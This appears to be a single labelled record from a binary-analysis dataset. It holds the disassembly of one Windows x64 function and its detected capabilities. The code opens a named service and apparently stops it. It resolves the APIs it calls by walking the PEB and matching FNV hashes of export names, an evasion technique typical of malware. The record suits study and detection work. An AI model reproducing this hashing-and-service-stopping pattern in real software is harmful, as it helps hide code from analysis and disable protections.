Function at 0x18002b354
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x1801bf780]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rdi, rcx
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x18002b395
xor al, al
jmp 0x18002b5d6
mov r8d, 0x20
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x18002b468
mov rax, qword [0x1801c4490]
test rax, rax
jne 0x18002b45e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x18002b43a
mov edx, dword [r9 + 0x18]
test edx, edx
je 0x18002b43a
mov esi, dword [r9 + 0x20]
dec edx
mov r11d, 0x90e5dfd
lea rcx, [rsi + rdx*4]
mov r10d, dword [rcx + r8]
add r10, r8
mov cl, byte [r10]
inc r10
test cl, cl
je 0x18002b436
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [r10]
inc r10
test cl, cl
jne 0x18002b416
cmp r11d, 0xdd307118
je 0x18002b43f
test edx, edx
jne 0x18002b3f9
mov rax, qword [rax]
jmp 0x18002b3d5
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + rdx*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
mov qword [0x1801c4490], rax
mov rcx, rbx
call rax
jmp 0x18002b38e
mov rax, qword [0x1801c4498]
test rax, rax
jne 0x18002b512
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x18002b4ee
mov edx, dword [r9 + 0x18]
test edx, edx
je 0x18002b4ee
mov esi, dword [r9 + 0x20]
dec edx
mov r11d, 0x881a5edd
lea rcx, [rsi + rdx*4]
mov r10d, dword [rcx + r8]
add r10, r8
mov cl, byte [r10]
inc r10
test cl, cl
je 0x18002b4ea
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [r10]
inc r10
test cl, cl
jne 0x18002b4ca
cmp r11d, 0x72d15d9d
je 0x18002b4f3
test edx, edx
jne 0x18002b4ad
mov rax, qword [rax]
jmp 0x18002b489
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + rdx*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
mov qword [0x1801c4498], rax
lea r8, [rsp + 0x20]
mov edx, 1
mov rcx, rdi
call rax
mov rax, qword [0x1801c44a0]
test rax, rax
jne 0x18002b5cf
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r10d, dword [rcx + r9 + 0x88]
add r10, r9
cmp r10, r9
je 0x18002b5a9
mov edx, dword [r10 + 0x18]
test edx, edx
je 0x18002b5a9
mov esi, dword [r10 + 0x20]
dec edx
mov r11d, 0x6ef566a9
mov ebx, edx
lea rcx, [r9 + rdx*4]
mov r8d, dword [rcx + rsi]
add r8, r9
mov cl, byte [r8]
inc r8
test cl, cl
je 0x18002b5a5
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x18002b585
cmp r11d, 0x21d17354
je 0x18002b5ae
test edx, edx
jne 0x18002b566
mov rax, qword [rax]
jmp 0x18002b542
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx r8d, word [rdx + rbx*2]
mov edx, dword [r10 + 0x1c]
add rdx, r9
mov eax, dword [rdx + r8*4]
add rax, r9
mov qword [0x1801c44a0], rax
mov rcx, rdi
call rax
mov al, 1
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.180102790
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret